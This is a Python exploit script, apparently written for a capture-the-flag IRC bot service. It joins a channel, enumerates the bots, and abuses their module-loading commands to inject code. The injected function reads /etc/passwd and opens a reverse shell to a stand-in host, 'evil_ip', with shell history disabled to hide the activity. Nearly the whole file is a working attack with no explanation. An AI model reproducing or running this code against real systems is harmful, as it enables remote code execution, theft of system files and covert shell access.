from socket import *
from time import sleep
import re
from random import sample

username = 'exploit'
server = '172.16.72.128'
port = 6667
server_ver = AF_INET#6
channel = 'eip'

module_name = ''.join(sample('qwertyuiopasdfghjklzxcvbnm', 7))
service_path = '/root/.services_trololololoooo/torqux/' + module_name + '.py'
func_name = ''.join(sample('qwertyuiopasdfghjklzxcvbnm', 7))
backconnect_host = 'evil_ip'
backconnect_port = '1165'
backconnect_ver = 'AF_INET6'
payload = 'import sys ; import os;import socket;import pty;shell = "/bin/sh";host = "' + backconnect_host + '";port = ' + backconnect_port + ';s = socket.socket(socket.' + backconnect_ver + ',socket.SOCK_STREAM);s.connect((host, port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.unsetenv("HISTFILE");os.unsetenv("HISTFILESIZE");pid = os.fork();pid or pty.spawn(shell); s.close()'

if __name__ == '__main__':
    s = socket(server_ver, SOCK_STREAM)
    s.connect((server, port))
    s.send('NICK ' + username +'\r\n')
    s.send('USER '+ (username + ' ')*3 + ':Python IRC\r\n')
    sleep(10)
    s.send('JOIN #' + channel + '\r\n')
    res = ''
    while 'End of MOTD command' not in res:
        res += s.recv(100500)
    s.send('PRIVMSG #' + channel + ' :!d\r\n')
    sleep(4)
    res1 = s.recv(100500)
    #print res1
    bots = []
    for l in res1.splitlines():
        nicks = re.findall(r'^:([^!]+)!.*? rolls', l)
        if nicks:
            bots.append(nicks[0])
    print 'Found bots:', bots

    for bot in bots:
        #bot = '#eip'
        s.send('PRIVMSG ' + bot + ' :!_makeit 0\r\n')
        sleep(1)
        s.send('PRIVMSG ' + bot + ' :!messages ' + service_path + ' ' + 'def ' + func_name + '(a,b,c,d): a.sendLns(c, open("/etc/passwd").read()[0:100]); ' + payload + '\r\n')
        sleep(1)
        s.send('PRIVMSG ' + bot + ' :!_makeit 0\r\n')
        sleep(1)
        s.send('PRIVMSG ' + bot + ' :!_addit ' + module_name + '\r\n')
        sleep(1)
        s.send('PRIVMSG ' + bot + ' :!reload\r\n')
        sleep(1)
        s.send('PRIVMSG ' + bot + ' :!' + func_name + '\r\n')
        sleep(1)

    if bots:
        sleep(1)
        print s.recv(100500)
    s.close()